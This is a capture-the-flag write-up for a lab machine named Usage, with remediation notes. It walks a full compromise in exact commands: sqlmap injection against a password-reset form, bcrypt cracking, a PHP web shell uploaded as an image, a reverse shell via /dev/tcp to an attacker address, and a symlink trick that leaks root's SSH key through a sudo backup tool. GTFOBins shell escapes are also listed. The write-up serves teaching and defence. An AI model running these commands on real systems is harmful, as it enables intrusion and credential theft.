Usage
Summary
I scanned usage ($TARGET) and identified an nginx-fronted Laravel blog on usage.htb with a separate administrator panel at admin.usage.htb. A SQL injection flaw in the unauthenticated password-reset form allowed me to dump the database, recovering the admin account's bcrypt password hash, which was cracked offline with a common wordlist to reveal the password '[REDACTED: recovered credential]'. Logging into the admin panel, I exploited an unrestricted file-upload feature to place a PHP web shell and achieve code execution as local user dash.
With a foothold established, I harvested plaintext credentials from the Laravel environment file and the Monit daemon configuration — including a password that had been reused as a second local account's SSH login. Lateral movement to user xander via SSH yielded a passwordless sudo rule granting root execution of a custom 7z-based backup utility. Because the web root was world-writable, I planted a symbolic link pointing at root's SSH private key; when the root-run backup archived the directory, 7z dereferenced the link and printed the key to standard output.
The reconstructed private key was used to authenticate directly as root, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p- --min-rate 2000 -T4 --open $TARGETecho "$TARGET usage.htb admin.usage.htb" | sudo tee -a /etc/hostscurl -sI http://usage.htb/Exact commands 1
sqlmap -u 'http://usage.htb/forget-password' --data='email=test@test.com' --level=3 --risk=2 --batch --dbms=mysql -D usage_blog -T admin_users --dumpFixParameterise all database queries to eliminate SQL injection in the password-reset flowCritical
Exact commands 2
echo '$2y$10$<paste_hash_here>' > admin.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt admin.hash && john --show admin.hashFixRequire strong admin passwords and raise the bcrypt work factorHigh
Exact commands 6
curl -s -c cookies.txt -b cookies.txt -X POST 'http://admin.usage.htb/admin/auth/login' -d 'username=admin&password=$PASSWORD2'echo '<?php system($_GET["c"]); ?>' > usage_payload.phpcurl -s -c cookies.txt -b cookies.txt -X POST 'http://admin.usage.htb/admin/auth/setting' -F 'avatar=@usage_payload.php;type=image/jpeg' -F '_method=PUT'curl -s 'http://admin.usage.htb/uploads/images/usage_payload.php?c=id'nc -lvnp 4444curl -s "http://admin.usage.htb/uploads/images/usage_payload.php?c=bash+-c+%27bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261%27"FixEnforce a strict file-type allowlist on uploads and block PHP execution in the upload directoryCritical
Exact commands 3
cat /home/dash/user.txtcat /var/www/html/project_admin/.envcat /home/dash/.monitrcFixRemove plaintext credentials from world-readable application configuration filesHigh
Exact commands 3
ssh xander@$TARGETsudo -lls -ld /var/www/htmlFixEnforce unique passwords for every account and disable password-based SSH authenticationHigh
Exact commands 4
ln -s /root/.ssh/id_rsa /var/www/html/rootkeysudo /usr/bin/usage_management 2>&1 | tee /tmp/usage_7z_leak.txt{ echo '-----BEGIN OPENSSH PRIVATE KEY-----'; grep -E '^[A-Za-z0-9+/=]{20,}( : No more files)?$' /tmp/usage_7z_leak.txt | sed 's/ : No more files$//' | awk '!seen[$0]++'; echo '-----END OPENSSH PRIVATE KEY-----'; } > /tmp/usage_root_id_rsa.clean && chmod 600 /tmp/usage_root_id_rsa.cleanssh-keygen -y -f /tmp/usage_root_id_rsa.cleanFixRemove world-write permission from the web root and harden the sudo-permitted backup utilityCritical
Exact commands 2
ssh -i /tmp/usage_root_id_rsa.clean root@$TARGETcat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |